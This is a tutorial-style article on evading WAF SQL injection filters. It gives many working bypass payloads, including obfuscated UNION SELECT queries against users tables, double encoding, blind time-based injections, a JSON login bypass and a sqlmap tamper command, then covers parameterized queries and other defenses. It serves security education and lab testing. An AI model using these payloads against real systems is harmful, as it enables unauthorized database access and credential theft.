SQL injection is old news—until you watch a modern web app sail straight past a “protected” perimeter because the WAF was matching strings, not understanding SQL. That gap between pattern matching and parser reality is where WAF bypass lives. In this article, we’ll look at how attackers evade SQL injection filters using obfuscation, encoding, alternate syntax, and parser confusion—and, more importantly, how defenders can stop relying on brittle regexes and build systems that are actually resistant to injection. This is for developers and junior security engineers who want to understand the mechanics, not just memorize payloads.
Why WAF bypass matters
A Web Application Firewall sits between users and your app, inspecting HTTP requests for suspicious patterns. In theory, it blocks common attack strings like:
' OR 1=1 --
UNION SELECT ...
SLEEP(5)
In practice, many WAFs still depend heavily on signatures, transformations, and normalization rules. Attackers exploit differences between:
- what the WAF sees
- what the application framework decodes
- what the database parser executes
If those layers interpret the same input differently, filtering breaks.
For example, a WAF might block UNION SELECT, but the backend DB may still accept:
UN/**/ION SEL/**/ECT
or:
UNI%4fN SEL%45CT
after decoding and comment stripping.
The key lesson: SQL injection bypass is rarely “magic.” It’s usually parser mismatch.
Ethical scope
Everything here is for defensive understanding, secure coding, testing in labs, and authorized assessments only. Use these examples against systems you own or are permitted to test.
A good legal target for practice is a lab environment such as:
- DVWA
- PortSwigger Web Security Academy labs
- OWASP Juice Shop
- Custom local Docker test apps
The classic vulnerable pattern
Here’s the kind of code that creates the problem in the first place:
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $query);
?>
A request like:
GET /product.php?id=1' OR '1'='1 HTTP/1.1
Host: target.local
turns into:
SELECT * FROM products WHERE id = '1' OR '1'='1'
Now add a WAF that blocks exact strings like or 1=1 or union select, and you have the setup for evasion.
How WAFs typically detect SQLi
Most WAFs use some combination of:
- signature matching against known payloads
- keyword detection like
union,select,sleep,benchmark - anomaly scoring based on suspicious characters
- normalization such as URL decoding or whitespace collapsing
- behavioral rules like repeated failed requests
The weakness appears when normalization is incomplete or inconsistent. If the WAF normalizes once, but the app decodes twice, an attacker may smuggle dangerous input through.
Example: single vs double decoding
Suppose the WAF decodes %27 into ', but not nested encodings.
Payload sent:
%2527%2520OR%25201%253D1--
After one decode:
%27 OR 1=1--
After a second decode by the app:
' OR 1=1--
This is a classic parser gap.
Common SQLi WAF bypass techniques
Let’s walk through the major evasion categories.
1. Whitespace obfuscation
Many naive filters assume SQL keywords are separated by normal spaces. But SQL parsers often accept tabs, newlines, comments, or other separators.
Blocked payload:
UNION SELECT username, password FROM users
Variants:
UNION%0ASELECT username,password FROM users
UNION/**/SELECT/**/username,password/**/FROM/**/users
UNION SELECT username,password FROM users
UNION%09SELECT username,password FROM users
In HTTP:
GET /search?q=test' UNION/**/SELECT/**/username,password/**/FROM/**/users-- -
Why it works:
- WAF expects literal spaces
- DB parser treats comments or tabs as separators
2. Keyword splitting with comments
Inline comments are one of the most common bypass tricks.
Examples:
UN/**/ION SEL/**/ECT
SE/**/LECT
DR/**/OP
MySQL is especially permissive with comments:
/*!50000SELECT*/ username, password FROM users
That /*! ... */ syntax is a MySQL versioned comment. Some WAFs treat it as harmless comment text, while MySQL may execute it.
Example payload:
1' /*!UNION*/ /*!SELECT*/ 1,2,3--
3. Case manipulation
Basic filters may be case-sensitive.
Blocked:
union select
Bypass:
UnIoN SeLeCt
or:
UNION SELECT
This sounds trivial, but poorly written custom filters still make this mistake.
4. URL encoding and double encoding
Encoding can hide special characters or keywords from filters that don’t fully normalize input.
Examples:
%27%20OR%201%3D1--
decodes to:
' OR 1=1--
Double-encoded:
%2527%2520OR%25201%253D1--
Hex-encoded characters inside parameters can also matter when frameworks decode before handing off to SQL-building code.
Testing with curl:
curl 'http://target.local/item?id=%2527%2520OR%25201%253D1--'
5. Alternate operators and syntax
If a filter blocks OR, attackers may use equivalent logic.
Instead of:
' OR 1=1 --
try:
' || 1=1 --
in databases where || behaves as logical OR or string concatenation in exploitable ways.
Or use comparisons that avoid obvious patterns:
' OR 'a'='a' --
' OR 2>1 --
' OR NOT 0 --
For blind SQLi, instead of AND 1=1, attackers may use:
' AND 'x' LIKE 'x
or:
' AND ASCII(SUBSTRING(user(),1,1))>64--
The idea is to avoid the exact signatures the WAF expects.
6. Function and synonym substitution
WAFs often block a narrow set of high-risk functions like SLEEP() or UNION SELECT, but databases offer many ways to express the same logic.
MySQL examples
Instead of:
SLEEP(5)
try:
BENCHMARK(10000000,MD5(1))
Instead of direct string literals:
SELECT 'admin'
use:
SELECT CHAR(97,100,109,105,110)
Instead of:
WHERE username='admin'
use:
WHERE username=CHAR(97,100,109,105,110)
This can bypass quote filters and keyword-focused rules.
MSSQL examples
Instead of obvious delay functions:
WAITFOR DELAY '0:0:5'
an attacker may look for alternate timing behaviors or stacked-query opportunities depending on the environment.
PostgreSQL examples
Use casting, concatenation, or alternate expressions rather than straightforward string comparison.
The lesson for defenders: blocking a function name is not equivalent to blocking the capability.
7. String construction to evade quotes and signatures
If quotes are filtered, attackers may build strings dynamically.
MySQL:
CHAR(117,115,101,114,115)
which becomes:
users
Concatenation examples:
CONCAT('ad','min')
Hex literals in MySQL:
0x61646d696e
which can represent admin.
Payload example:
1' UNION SELECT 1,0x61646d696e,0x70617373776f7264--
This avoids plain-text strings that a WAF might flag.
8. Comment-based truncation
SQL comments can neutralize the rest of the original query.
Examples:
' OR 1=1-- -
' OR 1=1#
' OR 1=1/*
Different databases support different comment styles:
--requires trailing space in many cases#is valid in MySQL/* ... */is block comment syntax
A WAF might block one style but not all of them.
9. HTTP parameter pollution and fragmentation
Sometimes the bypass isn’t in SQL syntax alone—it’s in how the request is assembled.
Imagine a backend concatenates repeated parameters, but the WAF inspects only one.
Example request:
GET /search?id=1&id=' OR '1'='1
Or fragmented payloads:
GET /search?a=UNION&b=SELECT&c=username,password&d=FROM users
If the application combines inputs server-side, the WAF may miss the final form.
This is highly implementation-specific, but it matters in real-world bypasses.
10. JSON and alternate content types
Modern apps don’t just take query strings. They accept JSON, XML, multipart forms, and GraphQL.
If the WAF is tuned for URL-encoded forms but weak on JSON parsing, payloads may slip through.
Example JSON request:
curl -X POST http://target.local/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin'\'' OR '\''1'\''='\''1","password":"x"}'
If the WAF fails to parse JSON correctly, but the app deserializes it and builds SQL unsafely, the attack lands.
11. Blind SQLi payload mutation
For blind injection, attackers often avoid obvious extraction strings and use conditional logic.
Instead of obvious payloads like:
' AND SLEEP(5)--
they may try:
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>64,SLEEP(5),0)--
If SLEEP is blocked, they may switch to resource-intensive alternatives:
' AND IF(1=1,BENCHMARK(5000000,SHA1(1)),0)--
Or boolean-based payloads:
' AND SUBSTRING(USER(),1,1)='r'--
This is where sqlmap becomes useful during authorized testing because it automates payload mutation.
Example usage:
sqlmap -u "http://target.local/item?id=1" --level=5 --risk=3 --tamper=space2comment,charencode
Common tamper scripts include:
space2commentcharencodebetweenrandomcaseequaltolike
These transform payloads to evade weak filters.
Example: from blocked payload to bypassed payload
Let’s say a WAF blocks this request:
GET /product?id=1' UNION SELECT username,password FROM users-- -
A tester might mutate it step by step.
Step 1: case randomization
1' UnIoN SeLeCt username,password FrOm users-- -
Step 2: comment-separated keywords
1'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--%20-
Step 3: encode spaces/comments
1%27/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--%20-
Step 4: obfuscate strings or identifiers if needed
1' UNION SELECT 1,CHAR(97,100,109,105,110)--
In a real test, each mutation probes what the WAF normalizes and what the DB accepts.
Why these bypasses succeed
At a technical level, bypasses succeed because of one or more of these issues:
Incomplete normalization
The WAF decodes once, but the app decodes twice.
Regex-based detection
Regex can catch common payloads, but SQL is too flexible for brittle pattern matching.
DB-specific syntax gaps
MySQL, PostgreSQL, MSSQL, and Oracle all parse SQL differently. A generic WAF may not understand edge-case syntax.
Context ignorance
A WAF may see “suspicious text” but not know whether it lands in:
- a string literal
- a numeric clause
- an ORDER BY
- a LIMIT
- a JSON field
- a stored procedure call
Application-layer transformations
Frameworks, proxies, and middleware may alter input after inspection.
Defensive takeaways: how to actually prevent SQL injection
Here’s the blunt truth: a WAF is not a primary SQL injection defense. It is a detection and mitigation layer. Your real fix is in the application.
1. Use parameterized queries everywhere
This is the most important defense.
PHP with PDO
<?php
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$_GET['id']]);
$product = $stmt->fetch();
?>
Python with psycopg2
cur.execute("SELECT * FROM users WHERE username = %s", (username,))
Node.js with mysql2
const [rows] = await conn.execute(
'SELECT * FROM users WHERE email = ?',
[email]
);
With parameterization, user input stays data—not executable SQL syntax.
2. Avoid dynamic query construction
The dangerous pattern is string concatenation:
const query = "SELECT * FROM users WHERE name = '" + input + "'";
Even if a WAF blocks some payloads, this is still broken.
3. Allowlist dynamic SQL fragments
Some parts of SQL cannot be parameterized directly, such as column names or sort order. For those, use allowlists.
Bad:
const query = `SELECT * FROM products ORDER BY ${req.query.sort}`;
Good:
const allowed = { name: 'name', price: 'price', created: 'created_at' };
const sort = allowed[req.query.sort] || 'name';
const query = `SELECT * FROM products ORDER BY ${sort}`;
4. Normalize input consistently before inspection
If you do use a WAF or custom detection:
- decode inputs consistently
- avoid multiple decoding stages
- inspect all content types you accept
- parse JSON/XML properly
- log both raw and normalized forms
5. Use least-privileged database accounts
If the app only needs SELECT and UPDATE, don’t give it DROP, ALTER, or admin rights.
This limits blast radius if injection happens.
6. Disable dangerous DB features where possible
Depending on the stack:
- disable stacked queries if unsupported by the app
- restrict file read/write functions
- block outbound DB network access
- disable unnecessary stored procedures
7. Monitor for evasive patterns
Detection still matters. Good signals include:
- excessive comments in parameters
- repeated URL/double-encoded metacharacters
- time-based probing patterns
CHAR(...), hex literals, versioned comments- sudden spikes in 4xx/5xx around search/login endpoints
8. Test with payload mutation, not just simple strings
Many teams test only:
' OR 1=1 --
and conclude they’re safe when it fails.
Instead, test:
- encoded payloads
- comment-separated keywords
- mixed-case variants
- JSON body injection
- numeric-context payloads
- blind/time-based payloads
Tools like Burp Suite Repeater, Intruder, and sqlmap in an authorized environment help here.
A quick lab workflow for defenders
If you want to validate your defenses in a safe environment:
1. Stand up a lab app
Use DVWA or Juice Shop locally.
2. Put a WAF or reverse proxy in front
For example:
- ModSecurity + OWASP CRS
- Nginx with custom rules
- Cloud WAF in a staging environment
3. Replay baseline payloads
curl "http://lab.local/vuln?id=1' OR '1'='1-- -"
curl "http://lab.local/vuln?id=1%27/**/OR/**/%271%27=%271--%20-"
4. Observe differences
Check:
- WAF logs
- app logs
- DB logs
- HTTP responses
- response timing
5. Fix the app first, tune WAF second
If parameterized queries are in place, the WAF becomes a backup layer instead of your only shield.
Final thoughts
SQL injection WAF bypass is less about exotic hacker wizardry and more about exploiting mismatches in decoding, parsing, and detection logic. Attackers don’t need to invent new SQL—they just need to express old SQL in forms your filter doesn’t recognize. Comments instead of spaces, encoded characters instead of literals, alternate operators instead of blocked keywords, JSON instead of query strings: same intent, different surface.
For developers, the takeaway is simple: don’t try to sanitize your way out of SQL injection with blacklists. For security engineers, assume WAF signatures will be bypassed eventually and focus on layered defenses, strong normalization, detection, and secure query design.
If your app is building SQL with string concatenation, a WAF might save you once. Parameterized queries save you every time.